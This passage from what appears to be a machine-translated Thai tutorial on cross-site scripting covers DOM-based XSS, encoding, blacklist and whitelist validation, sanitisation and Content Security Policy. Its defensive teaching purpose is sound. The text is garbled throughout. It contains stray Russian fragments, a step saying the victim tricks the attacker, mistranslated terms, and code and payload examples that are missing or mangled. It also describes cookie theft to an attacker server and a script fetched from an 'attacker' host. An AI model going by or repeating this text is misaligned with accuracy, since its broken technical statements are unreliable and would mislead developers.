    • หากผู้ใช้เป็นบุคคลใดบุคคลหนึ่ง ผู้โจมตีสามารถส่ง URL ที่เป็นอันตรายไปยังเหยื่อได้ (เช่น การใช้ อีเมลหรือ Messenger) และหลอกให้เขาเปิดลิงก์เพื่อเยี่ยมชมเว็บไซต์
    • หากเป้าหมายคือผู้ใช้กลุ่มใหญ่ ผู้โจมตีสามารถโพสต์ลิงก์ไปยัง URL ที่เป็นอันตรายได้ (เช่น บนเว็บไซต์ของตนเองหรือ เครือข่ายสังคม) และรอให้ผู้เยี่ยมชมกดตามลิงค์

    ทั้งสองวิธีมีความคล้ายคลึงกัน และทั้งสองวิธีจะประสบความสำเร็จมากกว่าหากใช้บริการย่อ URL ที่จะปกปิดสตริงที่เป็นอันตรายจากผู้ใช้ที่อาจระบุได้

    XSS ใน DOM

    XSS ใน DOM เป็นอีกรูปแบบหนึ่งสำหรับการโจมตี XSS ทั้งแบบจัดเก็บและแบบสะท้อน ในการโจมตี XSS นี้ เบราว์เซอร์ของเหยื่อจะไม่ประมวลผลสตริงที่เป็นอันตรายจนกว่า JavaScript จริงของเว็บไซต์จะถูกดำเนินการ แผนภาพด้านล่างแสดงสถานการณ์จำลองนี้สำหรับการโจมตี XSS ที่สะท้อน:

  • ผู้โจมตีสร้าง URL ที่มีสตริงที่เป็นอันตรายและส่งไปยังเหยื่อ
  • เหยื่อหลอกให้ผู้โจมตีส่งคำขอ URL ไปยังเว็บไซต์
  • ไซต์ยอมรับคำขอ แต่ไม่มีสตริงที่เป็นอันตรายในการตอบกลับ
  • เบราว์เซอร์ของเหยื่อเรียกใช้สคริปต์ที่ถูกต้องซึ่งอยู่ในการตอบกลับ ทำให้สคริปต์ที่เป็นอันตรายถูกแทรกลงในเพจ
  • เบราว์เซอร์ของเหยื่อเรียกใช้สคริปต์ที่เป็นอันตรายที่แทรกลงในเพจ โดยส่งคุกกี้ของเหยื่อไปยังเซิร์ฟเวอร์ของผู้โจมตี
  • XSS ใน DOM แตกต่างกันอย่างไร

    ในตัวอย่างก่อนหน้านี้ของการโจมตี XSS ที่จัดเก็บและสะท้อนกลับ เซิร์ฟเวอร์จะแทรกสคริปต์ที่เป็นอันตรายลงในเพจ ซึ่งจะถูกส่งต่อเพื่อตอบสนองต่อเหยื่อ เมื่อเบราว์เซอร์ของเหยื่อได้รับการตอบกลับ จะถือว่าสคริปต์ที่เป็นอันตรายเป็นส่วนหนึ่งของเนื้อหาที่ถูกต้องตามกฎหมายของเพจ และดำเนินการโดยอัตโนมัติในขณะที่เพจกำลังโหลด เช่นเดียวกับสคริปต์อื่นๆ

    ในตัวอย่างของการโจมตี XSS ใน DOM สคริปต์ที่เป็นอันตรายจะไม่ถูกแทรกเป็นส่วนหนึ่งของเพจ สคริปต์เดียวที่ดำเนินการโดยอัตโนมัติในขณะที่เพจกำลังโหลดคือส่วนที่ถูกต้องของเพจ ปัญหาคือสคริปต์ที่ถูกต้องตามกฎหมายนี้ใช้การป้อนข้อมูลของผู้ใช้โดยตรงเพื่อเพิ่ม HTML ลงในเพจ เนื่องจากสตริงที่เป็นอันตรายถูกแทรกลงในเพจโดยใช้ innerHTML สตริงดังกล่าวจึงถูกแยกวิเคราะห์เป็น HTML ทำให้สคริปต์ที่เป็นอันตรายถูกเรียกใช้งาน

    ความแตกต่างนี้มีขนาดเล็ก แต่สำคัญมาก:

    • ใน XSS แบบดั้งเดิม JavaScript ที่เป็นอันตรายจะถูกดำเนินการเมื่อมีการโหลดเพจ โดยเป็นส่วนหนึ่งของ HTML ที่เซิร์ฟเวอร์ส่ง
    • ในกรณีของ XSS ใน DOM นั้น JavaScript ที่เป็นอันตรายจะถูกดำเนินการหลังจากที่โหลดเพจแล้ว ทำให้หน้า JavaScript ที่ถูกต้องตามกฎหมายเข้าถึงอินพุตของผู้ใช้ (ที่มีสตริงที่เป็นอันตราย) ในลักษณะที่ไม่ปลอดภัย
    XSS ทำงานอย่างไรใน DOM

    ไม่จำเป็นต้องมี JavaScript ในตัวอย่างก่อนหน้านี้ เซิร์ฟเวอร์สามารถสร้าง HTML ทั้งหมดได้ด้วยตัวเอง หากโค้ดฝั่งเซิร์ฟเวอร์ไม่มีช่องโหว่ เว็บไซต์ก็จะไม่เสี่ยงต่อช่องโหว่ XSS

    อย่างไรก็ตาม เนื่องจากเว็บแอปพลิเคชันมีความก้าวหน้ามากขึ้น หน้า HTML จึงถูกสร้างขึ้นโดยใช้ JavaScript บนฝั่งไคลเอ็นต์มากกว่าบนเซิร์ฟเวอร์ เมื่อใดก็ตามที่เนื้อหาควรเปลี่ยนแปลงโดยไม่ต้องรีเฟรชทั้งหน้าก็สามารถทำได้ด้วย โดยใช้จาวาสคริปต์. โดยเฉพาะอย่างยิ่ง กรณีนี้เกิดขึ้นเมื่อเพจถูกรีเฟรชหลังจากคำขอ AJAX

    ซึ่งหมายความว่าช่องโหว่ XSS สามารถปรากฏได้ไม่เพียงแต่ในโค้ดฝั่งเซิร์ฟเวอร์ของไซต์ของคุณเท่านั้น แต่ยังปรากฏบนโค้ด JavaScript ฝั่งไคลเอ็นต์ของไซต์ของคุณด้วย ดังนั้น แม้ว่าโค้ดฝั่งเซิร์ฟเวอร์จะมีความปลอดภัยอย่างสมบูรณ์ แต่โค้ดไคลเอ็นต์อาจยังไม่รวมอินพุตของผู้ใช้อย่างปลอดภัยเมื่ออัปเดต DOM หลังจากโหลดเพจแล้ว หากสิ่งนี้เกิดขึ้น รหัสฝั่งไคลเอ็นต์จะอนุญาตให้มีการโจมตี XSS เกิดขึ้นโดยไม่ใช่ความผิดของโค้ดฝั่งเซิร์ฟเวอร์

    XSS ที่ใช้ DOM อาจไม่ปรากฏแก่เซิร์ฟเวอร์

    มีกรณีพิเศษของการโจมตี XSS ใน DOM โดยที่สตริงที่เป็นอันตรายจะไม่ถูกส่งไปยังเซิร์ฟเวอร์ของเว็บไซต์: สิ่งนี้จะเกิดขึ้นเมื่อมีสตริงที่เป็นอันตรายอยู่ในส่วนย่อยของตัวระบุ URL (อะไรก็ตามที่อยู่หลังสัญลักษณ์ #) เบราว์เซอร์จะไม่ส่ง URL ส่วนนี้ไปยังเซิร์ฟเวอร์ ดังนั้นเว็บไซต์จึงไม่สามารถเข้าถึงได้โดยใช้โค้ดฝั่งเซิร์ฟเวอร์ อย่างไรก็ตาม โค้ดฝั่งไคลเอ็นต์สามารถเข้าถึงได้ ดังนั้นจึงเป็นไปได้ที่จะทำการโจมตี XSS ผ่านการประมวลผลที่ไม่ปลอดภัย

    กรณีนี้ไม่ได้จำกัดอยู่เพียง ID แฟรกเมนต์ มีการป้อนข้อมูลของผู้ใช้อื่นๆ ที่เซิร์ฟเวอร์มองไม่เห็น เช่น คุณสมบัติ HTML5 ใหม่ เช่น LocalStorage และ IndexedDB

    ส่วนที่สาม:
    การป้องกัน XSS เทคนิคการป้องกัน XSS

    โปรดจำไว้ว่า XSS เป็นการโจมตีด้วยการแทรกโค้ด: การป้อนข้อมูลของผู้ใช้ถูกตีความอย่างผิดพลาดว่าเป็นโค้ดที่เป็นอันตราย เพื่อป้องกันการแทรกโค้ดประเภทนี้ จำเป็นต้องมีการจัดการอินพุตที่ปลอดภัย สำหรับนักพัฒนาเว็บ มีสองประการโดยพื้นฐาน วิธีทางที่แตกต่างดำเนินการประมวลผลอินพุตที่ปลอดภัย:

    • การเข้ารหัสเป็นวิธีการที่อนุญาตให้ผู้ใช้ป้อนข้อมูลในรูปแบบข้อมูลเท่านั้น และไม่อนุญาตให้เบราว์เซอร์ประมวลผลเป็นโค้ด
    • การตรวจสอบความถูกต้องเป็นวิธีการกรองอินพุตของผู้ใช้ เพื่อให้เบราว์เซอร์ตีความว่าเป็นโค้ดโดยไม่มีคำสั่งที่เป็นอันตราย

    แม้ว่าวิธีการลด XSS เหล่านี้โดยพื้นฐานแล้วจะมีความแตกต่างกัน แต่ก็มีคุณลักษณะทั่วไปหลายอย่างที่มีความสำคัญที่ต้องทำความเข้าใจเมื่อใช้วิธีใดวิธีหนึ่ง:

    การจัดการอินพุตที่ปลอดภัยตามบริบทจะต้องดำเนินการแตกต่างกัน ขึ้นอยู่กับตำแหน่งที่ผู้ใช้อินพุตถูกใช้บนเพจ การประมวลผลอินพุตที่ปลอดภัยทั้งขาเข้า/ขาออกสามารถทำได้ทั้งเมื่อไซต์ของคุณได้รับอินพุต (การรับส่งข้อมูลขาเข้า) หรือก่อนที่ไซต์จะแทรกอินพุตของผู้ใช้ลงในเนื้อหาเพจ (ขาออก) การประมวลผลอินพุตที่ปลอดภัยของไคลเอ็นต์/เซิร์ฟเวอร์สามารถทำได้ทั้งฝั่งไคลเอ็นต์หรือฝั่งเซิร์ฟเวอร์ โดยแต่ละตัวเลือกจำเป็นภายใต้สถานการณ์ที่แตกต่างกัน

    ก่อนที่จะอธิบายรายละเอียดว่าการเขียนโค้ดและการตรวจสอบความถูกต้องทำงานอย่างไร เราจะอธิบายแต่ละประเด็นเหล่านี้ก่อน

    การจัดการอินพุตของผู้ใช้ในบริบท

    มีหลายบริบทบนหน้าเว็บที่ผู้ใช้ป้อนข้อมูลได้ สำหรับแต่ละกฎจะต้องปฏิบัติตามกฎพิเศษเพื่อให้แน่ใจว่าอินพุตของผู้ใช้ไม่สามารถหลบหนีบริบทและไม่สามารถตีความได้ว่าเป็นโค้ดที่เป็นอันตราย ต่อไปนี้เป็นบริบทที่พบบ่อยที่สุด:

    เหตุใดบริบทจึงมีความสำคัญ

    ในบริบทที่อธิบายทั้งหมด ช่องโหว่ XSS อาจเกิดขึ้นได้หากอินพุตของผู้ใช้ถูกแทรกก่อนการเข้ารหัสหรือการตรวจสอบครั้งแรก ผู้โจมตีสามารถแทรกโค้ดที่เป็นอันตรายได้ง่ายๆ โดยการแทรกตัวคั่นปิดสำหรับบริบทนี้ ตามด้วยโค้ดที่เป็นอันตราย

    ตัวอย่างเช่น หากในบางจุดเว็บไซต์เกี่ยวข้องกับการป้อนข้อมูลของผู้ใช้โดยตรง แอตทริบิวต์ HTMLผู้โจมตีจะสามารถแทรกสคริปต์ที่เป็นอันตรายได้โดยเริ่มป้อนข้อมูลด้วยเครื่องหมายคำพูด ดังที่แสดงด้านล่าง:

    สิ่งนี้สามารถป้องกันได้โดยการลบเครื่องหมายคำพูดทั้งหมดในอินพุตของผู้ใช้ออก แล้วทุกอย่างจะเรียบร้อยดี แต่เฉพาะในบริบทนี้เท่านั้น หากอินพุตถูกแทรกในบริบทอื่น ตัวคั่นปิดจะแตกต่างออกไปและสามารถแทรกได้ ด้วยเหตุนี้ การจัดการอินพุตที่ปลอดภัยจึงควรได้รับการปรับให้เหมาะกับบริบทที่อินพุตของผู้ใช้จะถูกแทรกเสมอ

    การจัดการอินพุตของผู้ใช้ขาเข้า/ขาออก

    ตามสัญชาตญาณ ดูเหมือนว่า XSS สามารถป้องกันได้ด้วยการเข้ารหัสหรือตรวจสอบความถูกต้องของอินพุตของผู้ใช้ทั้งหมดทันทีที่ไซต์ของเราได้รับข้อมูลดังกล่าว ด้วยวิธีนี้ สตริงที่เป็นอันตรายจะถูกทำให้เป็นกลางทุกครั้งที่รวมอยู่ในเพจ และสคริปต์การสร้าง HTML จะไม่ต้องกังวลกับการจัดการอินพุตของผู้ใช้อย่างปลอดภัย

    ปัญหาคือ ตามที่อธิบายไว้ก่อนหน้านี้ ข้อมูลป้อนเข้าของผู้ใช้สามารถแทรกลงในหลายบริบทบนเพจได้ และไม่ วิธีง่ายๆกำหนดว่าเมื่อใดการป้อนข้อมูลของผู้ใช้มาถึงในบริบท - วิธีการแทรกในที่สุด และมักจะต้องแทรกการป้อนข้อมูลของผู้ใช้คนเดียวกันในบริบทที่ต่างกัน ด้วยการอาศัยการประมวลผลอินพุตขาเข้าเพื่อป้องกัน XSS เรากำลังสร้างโซลูชันที่เปราะบางมากซึ่งมีแนวโน้มที่จะเกิดข้อผิดพลาดได้ ("เครื่องหมายคำพูดวิเศษ" ของ PHP ดั้งเดิมเป็นตัวอย่างของวิธีแก้ปัญหาดังกล่าว)

    การประมวลผลอินพุตขาออกควรเป็นแนวป้องกันหลักของคุณจาก XSS เนื่องจากสามารถคำนึงถึงบริบทเฉพาะของอินพุตที่ผู้ใช้จะถูกแทรก ในระดับหนึ่ง การตรวจสอบขาเข้าสามารถใช้เพื่อเพิ่มชั้นความปลอดภัยรองได้ แต่จะเพิ่มเติมในภายหลัง

    เป็นไปได้อย่างไรที่จะจัดการอินพุตของผู้ใช้อย่างปลอดภัย?

    ในเว็บแอปพลิเคชันสมัยใหม่ส่วนใหญ่ การป้อนข้อมูลของผู้ใช้จะถูกประมวลผลทั้งบนฝั่งเซิร์ฟเวอร์และฝั่งไคลเอ็นต์ เพื่อป้องกัน XSS ทุกประเภท การจัดการอินพุตที่ปลอดภัยจะต้องดำเนินการทั้งในโค้ดฝั่งเซิร์ฟเวอร์และฝั่งไคลเอ็นต์

    • เพื่อป้องกัน XSS แบบดั้งเดิม การจัดการอินพุตที่ปลอดภัยจะต้องดำเนินการในโค้ดฝั่งเซิร์ฟเวอร์ ทำได้โดยใช้ภาษาบางภาษาที่เซิร์ฟเวอร์รองรับ
    • เพื่อป้องกันการโจมตี XSS ใน DOM ซึ่งเซิร์ฟเวอร์ไม่เคยได้รับสตริงที่เป็นอันตราย (เช่น การโจมตีส่วนของตัวระบุที่อธิบายไว้ก่อนหน้านี้) การจัดการอินพุตที่ปลอดภัยจะต้องดำเนินการในโค้ดฝั่งไคลเอ็นต์ ทำได้โดยใช้ JavaScript

    ตอนนี้เราได้อธิบายแล้วว่าทำไมบริบทจึงสำคัญ เหตุใดความแตกต่างระหว่างการประมวลผลอินพุตขาเข้าและขาออกจึงมีความสำคัญ และเหตุใดการประมวลผลอินพุตที่ปลอดภัยจึงต้องทำทั้งสองด้าน ฝั่งไคลเอ็นต์ และฝั่งเซิร์ฟเวอร์ เราสามารถอธิบายต่อไปได้ ว่าทั้งสอง ประเภทของการประมวลผลอินพุตที่ปลอดภัย (การเข้ารหัสและการตรวจสอบ) ดำเนินการจริง

    การเข้ารหัส

    การเข้ารหัสเป็นวิธีหนึ่งในการออกจากสถานการณ์ที่เบราว์เซอร์จำเป็นต้องตีความอินพุตของผู้ใช้ว่าเป็นข้อมูลเท่านั้น ไม่ใช่โค้ด การเขียนโค้ดประเภทที่ได้รับความนิยมมากที่สุดในการพัฒนาเว็บคือการมาสก์ HTML ซึ่งแปลงอักขระ เช่น< и >วี< и >ตามลำดับ

    โค้ดเทียมต่อไปนี้เป็นตัวอย่างของวิธีการเข้ารหัสอินพุตของผู้ใช้ (อินพุตของผู้ใช้) โดยใช้การมาสก์ HTML จากนั้นแทรกลงในเพจโดยใช้สคริปต์ฝั่งเซิร์ฟเวอร์:

    พิมพ์ ""
    พิมพ์ "ความคิดเห็นล่าสุด:"
    พิมพ์ encodeHtml (อินพุตผู้ใช้)
    พิมพ์ ""

    หากผู้ใช้ป้อนบรรทัดต่อไปนี้... ผลลัพธ์ HTML ที่ได้จะมีลักษณะดังนี้:


    ความคิดเห็นล่าสุด:
    ...

    เนื่องจากอักขระทั้งหมดที่มีความหมายพิเศษได้ถูกละเว้น เบราว์เซอร์จะไม่แยกวิเคราะห์ส่วนใดๆ ของการป้อนข้อมูลของผู้ใช้ เช่น HTML

    การเข้ารหัสไคลเอ็นต์และโค้ดฝั่งเซิร์ฟเวอร์

    เมื่อทำการเข้ารหัสฝั่งไคลเอ็นต์ จะใช้ JavaScript เสมอซึ่งมีฟังก์ชันในตัวที่เข้ารหัสข้อมูลสำหรับบริบทที่แตกต่างกัน

    เมื่อทำการเขียนโค้ดในโค้ดฝั่งเซิร์ฟเวอร์ คุณจะต้องอาศัยคุณสมบัติที่มีอยู่ในภาษาหรือเฟรมเวิร์กของคุณ เนื่องจากมีภาษาและกรอบงานให้เลือกมากมาย บทช่วยสอนจะไม่ครอบคลุมรายละเอียดของการเข้ารหัสในภาษาเซิร์ฟเวอร์หรือกรอบงานเฉพาะใดๆ อย่างไรก็ตาม ฟังก์ชันการเข้ารหัส JavaScript ที่ใช้ในฝั่งไคลเอ็นต์ยังใช้เมื่อเขียนโค้ดฝั่งเซิร์ฟเวอร์ด้วย

    การเข้ารหัสฝั่งไคลเอ็นต์

    เมื่อเข้ารหัสอินพุตของผู้ใช้ฝั่งไคลเอ็นต์โดยใช้ JavaScript มีวิธีการและคุณสมบัติในตัวหลายวิธีที่จะเข้ารหัสข้อมูลทั้งหมดโดยอัตโนมัติในรูปแบบที่คำนึงถึงบริบท:

    บริบทสุดท้ายที่กล่าวถึงข้างต้น (ค่าใน JavaScript) จะไม่รวมอยู่ในรายการนี้ เนื่องจาก JavaScript ไม่มีวิธีการเข้ารหัสข้อมูลในตัวที่จะรวมอยู่ในซอร์สโค้ด JavaScript

    ข้อจำกัดในการเข้ารหัส

    แม้ในขณะที่เขียนโค้ด ก็เป็นไปได้ที่จะใช้สตริงที่เป็นอันตรายในบางบริบท ตัวอย่างที่ชัดเจนคือ เมื่อผู้ใช้ป้อนข้อมูลเพื่อระบุ URL เช่นในตัวอย่างด้านล่าง:

    document.querySelector("a").href = userInput

    แม้ว่าการระบุค่าในคุณสมบัติ href ขององค์ประกอบจะเข้ารหัสโดยอัตโนมัติเพื่อให้ไม่มีอะไรมากไปกว่าค่าแอตทริบิวต์ แต่การดำเนินการนี้ไม่ได้ป้องกันผู้โจมตีจากการแทรก URL ที่ขึ้นต้นด้วย "javascript:" เมื่อมีการคลิกลิงก์ โดยไม่คำนึงถึงโครงสร้าง JavaScript ที่ฝังอยู่ภายใน URL จะถูกดำเนินการ

    การเข้ารหัสก็ไม่ได้เช่นกัน โซลูชั่นที่มีประสิทธิภาพเมื่อคุณต้องการให้ผู้ใช้สามารถใช้ส่วนหนึ่งของโค้ด HTML บนเพจได้ ตัวอย่างจะเป็นหน้าโปรไฟล์ผู้ใช้ที่ผู้ใช้สามารถใช้ HTML ที่กำหนดเองได้ หากมีการเข้ารหัส HTML ธรรมดานี้ หน้าโปรไฟล์จะสามารถประกอบด้วยข้อความธรรมดาเท่านั้น

    ในสถานการณ์เช่นนี้ การเขียนโค้ดต้องได้รับการเสริมด้วยการตรวจสอบความถูกต้อง ซึ่งเราจะดูในภายหลัง

    การตรวจสอบ

    การตรวจสอบความถูกต้องคือการกรองอินพุตของผู้ใช้ เพื่อลบส่วนที่เป็นอันตรายทั้งหมดออก โดยไม่ต้องลบโค้ดทั้งหมดที่อยู่ในนั้น การตรวจสอบความถูกต้องประเภทหนึ่งที่ใช้มากที่สุดในการพัฒนาเว็บทำให้คุณสามารถใช้องค์ประกอบ HTML บางอย่าง (เช่น และ ) ในขณะที่ปิดการใช้งานองค์ประกอบอื่นๆ (เช่น )

    มีการตรวจสอบลักษณะเฉพาะหลักสองประการ ซึ่งแตกต่างกันในการใช้งาน:

    กลยุทธ์การจัดประเภทข้อมูลที่ผู้ใช้ป้อนสามารถจำแนกได้โดยใช้บัญชีดำหรือบัญชีขาว ผลการตรวจสอบ การป้อนข้อมูลของผู้ใช้ที่ถูกระบุว่าเป็นอันตรายสามารถถูกปฏิเสธหรือกำจัดได้

    กลยุทธ์การจำแนกบัญชีดำ

    ตามสัญชาตญาณ ดูเหมือนว่าเหมาะสมที่จะดำเนินการตรวจสอบโดยกำหนดรูปแบบที่ต้องห้ามซึ่งไม่ควรปรากฏในอินพุตของผู้ใช้ หากบรรทัดตรงกับรูปแบบนี้ ระบบจะทำเครื่องหมายว่าไม่ถูกต้อง ตัวอย่างเช่น อนุญาตให้ผู้ใช้ส่ง URL ที่กำหนดเองด้วยโปรโตคอลใดก็ได้ ยกเว้น JavaScript: กลยุทธ์การจำแนกประเภทนี้เรียกว่า บัญชีดำ.

    อย่างไรก็ตาม บัญชีดำมีข้อเสียหลักสองประการ:

    ความยากในการอธิบายชุดสตริงที่เป็นอันตรายที่เป็นไปได้ทั้งหมดอย่างถูกต้องมักเป็นงานที่ยากมาก นโยบายตัวอย่างที่อธิบายไว้ข้างต้นไม่สามารถนำไปใช้ได้สำเร็จโดยเพียงแค่ค้นหาสตริงย่อย "javascript" เนื่องจากจะทำให้ไม่มีสตริงเช่น "Javascript:" (โดยที่ตัวอักษรตัวแรกเป็นตัวพิมพ์ใหญ่) และ "javascript:" (โดยที่ตัวอักษรตัวแรกถูกเข้ารหัสเป็นตัวเลข การอ้างอิงตัวละคร). การเลิกใช้งาน แม้ว่าจะมีการพัฒนาบัญชีดำที่สมบูรณ์แบบ แต่ก็ไม่มีประโยชน์หากสามารถใช้คุณลักษณะใหม่ที่เพิ่มลงในเบราว์เซอร์เพื่อโจมตีได้ ตัวอย่างเช่น หากบัญชีดำการตรวจสอบ HTML ได้รับการพัฒนาก่อนที่จะมีการแนะนำคุณลักษณะ onmousewheel ใน HTML5 ก็จะไม่สามารถหยุดผู้โจมตีจากการใช้คุณลักษณะนี้เพื่อทำการโจมตี XSS ได้ ข้อเสียนี้มีความสำคัญอย่างยิ่งในการพัฒนาเว็บซึ่งประกอบด้วยเทคโนโลยีต่าง ๆ มากมายที่ได้รับการปรับปรุงอย่างต่อเนื่อง

    เนื่องจากข้อบกพร่องเหล่านี้ การขึ้นบัญชีดำจึงไม่สนับสนุนอย่างยิ่งในฐานะกลยุทธ์การจำแนกประเภท โดยทั่วไปการไวท์ลิสต์เป็นแนวทางที่ปลอดภัยกว่ามาก ซึ่งเราจะอธิบายต่อไป

    รายการสีขาว

    รายการสีขาวโดยพื้นฐานแล้วจะตรงกันข้ามกับบัญชีดำ: แทนที่จะระบุรูปแบบที่ต้องห้าม วิธีบัญชีขาวจะระบุรูปแบบที่อนุญาตและทำเครื่องหมายอินพุตว่าไม่ถูกต้องหาก ไม่ตรงกันเทมเพลตนี้

    ตรงกันข้ามกับบัญชีดำ ตัวอย่างของบัญชีขาวคือการอนุญาตให้ผู้ใช้สามารถส่ง URL ที่กำหนดเองที่มีเฉพาะโปรโตคอล http: และ https: เท่านั้น ไม่มีอะไรเพิ่มเติม วิธีการนี้จะทำให้ URL ถูกทำเครื่องหมายว่าไม่ถูกต้องโดยอัตโนมัติ หากมี javascript: protocol แม้ว่าจะแสดงเป็น "Javascript:" หรือ "javascript:" ก็ตาม

    เมื่อเปรียบเทียบกับบัญชีดำ บัญชีขาวมีข้อดีหลักสองประการ:

    ความเรียบง่าย การอธิบายชุดของสตริงที่ไม่เป็นอันตรายอย่างถูกต้องแม่นยำมักจะง่ายกว่าการระบุชุดของสตริงที่เป็นอันตรายทั้งหมด โดยเฉพาะอย่างยิ่งในสถานการณ์ทั่วไปที่การป้อนข้อมูลของผู้ใช้ต้องมีชุดที่จำกัดมาก ฟังก์ชั่นมีอยู่ในเบราว์เซอร์ ตัวอย่างเช่น รายการที่อนุญาตพิเศษที่อธิบายไว้ข้างต้นอนุญาตให้ใช้ URL กับโปรโตคอล HTTP: หรือ https: เท่านั้น และในสถานการณ์ส่วนใหญ่ ก็ถือว่าเพียงพอสำหรับผู้ใช้แล้ว ความทนทาน ต่างจากบัญชีดำตรงที่บัญชีขาวมักจะไม่ล้าสมัยเมื่อใด คุณลักษณะใหม่ถูกเพิ่มเข้าไปในเบราว์เซอร์ ตัวอย่างเช่น การตรวจสอบความถูกต้องของรายการ HTML อนุญาตให้เฉพาะแอตทริบิวต์ชื่อเรื่องขององค์ประกอบ HTML เท่านั้นที่ยังคงปลอดภัย แม้ว่า (รายการที่ปลอดภัย) จะได้รับการออกแบบก่อนที่จะมีการเปิดตัวคุณลักษณะ onmousewheel ของ HTML5 ก็ตาม

    ผลการตรวจสอบ

    เมื่ออินพุตของผู้ใช้ถูกทำเครื่องหมายว่าไม่ถูกต้อง (ถูกห้าม) คุณสามารถดำเนินการอย่างใดอย่างหนึ่งจากสองวิธี:

    การปฏิเสธอินพุตจะถูกปฏิเสธ ป้องกันไม่ให้นำไปใช้ที่อื่นบนไซต์ การฆ่าเชื้อข้อมูลที่ป้อนส่วนที่ไม่ถูกต้องทั้งหมดจะถูกลบออก และข้อมูลที่ป้อนที่เหลือจะถูกใช้บนเว็บไซต์ตามปกติ

    ในทั้งสองกรณี การโก่งตัวเป็นแนวทางที่ง่ายที่สุดในการดำเนินการ แต่การฆ่าเชื้อถือว่ามีประโยชน์มากกว่าเนื่องจากให้ช่วงอินพุตที่กว้างกว่าสำหรับผู้ใช้ เช่น หากผู้ใช้ส่งหมายเลข บัตรเครดิตการฆ่าเชื้อจะลบอักขระที่ไม่ใช่อักขระทั้งหมดและป้องกันการแทรกโค้ด และยังอนุญาตให้ผู้ใช้ป้อนตัวเลขโดยมีหรือไม่มียัติภังค์ก็ได้

    หากคุณตัดสินใจที่จะใช้การฆ่าเชื้อ คุณต้องแน่ใจว่าขั้นตอนการฆ่าเชื้อนั้นไม่ได้ใช้วิธีการบัญชีดำ ตัวอย่างเช่น URL "Javascript:..." แม้ว่าจะระบุโดยใช้รายการที่อนุญาตว่าไม่ถูกต้อง แต่ก็จะได้รับขั้นตอนบายพาสการฆ่าเชื้อที่จะลบอินสแตนซ์ทั้งหมดของ "javascript:" ด้วยเหตุนี้ ไลบรารีและเฟรมเวิร์กที่ได้รับการทดสอบอย่างดีจึงควรใช้การฆ่าเชื้อทุกครั้งที่เป็นไปได้

    ควรใช้วิธีใดในการป้องกัน?

    การเข้ารหัสควรเป็นด่านแรกในการป้องกันการโจมตี XSS โดยมีวัตถุประสงค์เพื่อประมวลผลข้อมูลในลักษณะที่เบราว์เซอร์ไม่สามารถตีความอินพุตของผู้ใช้เป็นโค้ดได้ ในบางกรณี การเขียนโค้ดต้องเสริมด้วยการตรวจสอบความถูกต้อง การเข้ารหัสและการตรวจสอบความถูกต้องจะต้องนำไปใช้กับการรับส่งข้อมูลขาออก เนื่องจากคุณเท่านั้นที่จะทราบได้ว่าอินพุตของผู้ใช้จะถูกนำไปใช้ในบริบทใด และการเข้ารหัสและการตรวจสอบใดที่จำเป็นต้องใช้

    เพื่อเป็นการป้องกันขั้นที่สอง คุณควรใช้การล้างข้อมูลขาเข้าหรือการปฏิเสธอินพุตของผู้ใช้ที่ไม่ถูกต้องอย่างชัดเจน เช่น ลิงก์ โดยใช้โปรโตคอล javascript: สิ่งนี้ไม่สามารถให้ได้ด้วยตัวเอง ปลอดภัยอย่างสมบูรณ์แต่นี่เป็นข้อควรระวังที่เป็นประโยชน์หากเกิดข้อผิดพลาด ณ จุดใดก็ตามในการเข้ารหัสและการป้องกันการตรวจสอบเนื่องจากการดำเนินการที่ไม่ถูกต้อง

    หากมีการใช้แนวป้องกันทั้งสองนี้อย่างสม่ำเสมอ เว็บไซต์ของคุณจะได้รับการปกป้องจากการโจมตี XSS อย่างไรก็ตาม เนื่องจากความซับซ้อนในการสร้างและดูแลรักษาเว็บไซต์ การรักษาความปลอดภัยอย่างสมบูรณ์โดยใช้การประมวลผลอินพุตของผู้ใช้ที่ปลอดภัยเท่านั้นจึงอาจเป็นเรื่องยาก เพื่อเป็นการป้องกันขั้นที่สาม คุณควรใช้นโยบายความปลอดภัยของเนื้อหา ( ภาษาอังกฤษ นโยบายการรักษาความปลอดภัยของเนื้อหา) จากนั้น CSP ซึ่งเราจะอธิบายด้านล่าง

    นโยบายการรักษาความปลอดภัยของเนื้อหา (CSP)

    การใช้การจัดการอินพุตของผู้ใช้ที่ปลอดภัยเท่านั้นเพื่อป้องกันการโจมตี XSS นั้นไม่เพียงพอ เนื่องจากข้อผิดพลาดด้านความปลอดภัยแม้แต่ครั้งเดียวก็อาจทำให้เว็บไซต์ของคุณเสียหายได้ การใช้นโยบายความปลอดภัยเนื้อหา (CSP) จากมาตรฐานเว็บใหม่สามารถลดความเสี่ยงนี้ได้

    CSP ใช้เพื่อจำกัดการใช้หน้าเว็บของเบราว์เซอร์ เพื่อให้สามารถใช้ได้เฉพาะทรัพยากรที่ดาวน์โหลดจากแหล่งที่เชื่อถือได้เท่านั้น ก ทรัพยากรคือสคริปต์ สไตล์ชีท รูปภาพ หรือไฟล์ประเภทอื่นๆ ที่อ้างอิงบนเพจ ซึ่งหมายความว่าแม้ว่าผู้โจมตีจะจัดการแทรกเนื้อหาที่เป็นอันตรายลงในไซต์ของคุณ CSP ก็สามารถป้องกันไม่ให้มีการดำเนินการได้

    CSP สามารถใช้เพื่อบังคับใช้กฎต่อไปนี้:

    การแบนแหล่งที่ไม่น่าเชื่อถือ ทรัพยากรภายนอกสามารถดาวน์โหลดได้จากชุดแหล่งที่เชื่อถือได้ที่กำหนดไว้อย่างชัดเจนเท่านั้น หากไม่อนุญาตทรัพยากรที่ฝังไว้ JavaScript และ CSS แบบอินไลน์จะไม่ถูกนำมาพิจารณา การปิดใช้งาน eval จะห้ามไม่ให้ใช้ฟังก์ชัน eval ใน JavaScript

    กปปส. ดำเนินการแล้ว

    ในตัวอย่างต่อไปนี้ ผู้โจมตีสามารถแทรกโค้ดที่เป็นอันตรายลงในหน้าเว็บได้:


    ความคิดเห็นล่าสุด:

    ด้วยนโยบาย CSP ที่กำหนดไว้อย่างถูกต้อง เบราว์เซอร์จะไม่สามารถดาวน์โหลดและดำเนินการที่เป็นอันตราย script.js ได้ เนื่องจากไม่ได้ระบุ http://attacker/ เป็นแหล่งที่เชื่อถือได้ แม้ว่าไซต์จะไม่สามารถประมวลผลข้อมูลของผู้ใช้ได้อย่างน่าเชื่อถือในกรณีนี้ นโยบายของ CSP ก็ป้องกันช่องโหว่ไม่ให้ก่อให้เกิดอันตรายใดๆ

